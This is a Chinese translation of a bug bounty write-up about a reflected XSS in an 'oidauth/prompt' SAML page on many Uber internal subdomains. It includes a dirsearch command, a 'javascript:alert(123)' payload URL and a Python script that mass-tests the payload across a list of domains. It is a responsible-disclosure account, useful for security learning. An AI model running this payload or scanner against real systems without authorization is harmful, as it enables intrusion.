众所周知，`onelogin`使用SAML身份验证，这非常有趣，因为在执行SAML的大量的应用程序中都发现了身份验证bypass，包括影响uber本身的一些bug，您可以在这里找到这些错误(<https://hackerone.com/reports/223014以及https://hackerone.com/reports/136169>)
。
我的第一个目标是寻找SAML身份验证bypass，我打算从`uchat`系统开始，但遗憾的是，有人已经找到了这个bug，这也不是我第一次因为时机不好而丢失了一个bug，所以没关系，让我们继续吧。
当您通过SAML登录时，将会向身份验证服务发送一个请求，在我们的案例中，这就是`uber.onelogin.com`，在登录之后，`uber.onelogin.com`将返回一个响应，以便成功登录应用程序，在这种情况下，我希望在`whatever.uberinternal.com`找到的是一个收到来自onelogin的相应的页面。
因此，让我们看一下调用一个需要身份验证的页面时发生的重定向，您可以在下图中看到它向uber.onelogin.com传递了经过base64编码的参数`SAMLRequest`。
有一个在线工具可以让我们解码参数的值，并且我们可以看到这个链接将从`uber.onelogin.com`中接收响应。
此外，如果您想尝试使用burpsuite，还有一个很好用的SAML插件，它有一些非常好的功能来测试SAML。
这个插件很好，但是，我想批量地做到这一点，所以我创建了一个工具，可以获取URL列表和它们返回的SAML，你可以在我的GitHub帐户SAMLExtractor中找到这个工具。
接下来的事情是尝试bypass该链接上的SAML身份验证，但我没那么幸运，所以我决定查看`oidauth/`目录，看看是否有更多有趣的文件，我使用了执行以下命令的`dirsearch`。
./dirsearch.py -u https://carbon-prototype.uberinternal.com:443/oidauth/ -ejson
## 漏洞
进行目录爆破之后，我找到了以下页面：
https://carbon-prototype.uberinternal.com:443/oidauth/logout
这是一个注销页面，但很多开发人员在注销页面中执行重定向，并且，有时你可以在那里找到`XSS`漏洞，所以我打开了上面的链接，它将我重定向到了下一页。
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
参数`base`是一个URL，所以我们不如用经典的`javascript:alert(123);`替换它，从而查看它是否可以触发XSS。最终它通过单击页面中的链接触发了XSS，并且因为该页面也容易受到点击劫持的影响，这意味着你可以在攻击场景中将两者结合起来（报告中对此进行了详细说明）。
## 批量漏洞挖掘
请记住，当我告诉您我创建了一个可以获取URL列表，然后返回回调URL的工具时，我决定向该工具提供所有`uberinternal.com`子域名，以查看是否有其他域名使用相同的库。最终我发现确实有其他域名使用。
我接下来要做的是创建一个脚本，它可以调用易受攻击的页面`oidauth/prompt`，并且尝试XSS攻击，如果我的输入被响应，则证明它存在XSS漏洞。
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
之后，我验证了易受攻击的页面,并将第一份报告发送给UBER，在第一次提交之后，我发现了另外两个易受攻击的子域名，我在另一份报告中提交了这些子域名。
报告链接：
Reflected XSS on multiple uberinternal.com
domains(<https://hackerone.com/reports/326449>)
Reflected XSS in <https://eng.uberinternal.com> and
<https://coeshift.corp.uber.internal/(https://hackerone.com/reports/354686>)
赏金:
第一份报告 2k$
第二份报告 500$
原文链接：<https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/> | 社区文章 |
Subsets and Splits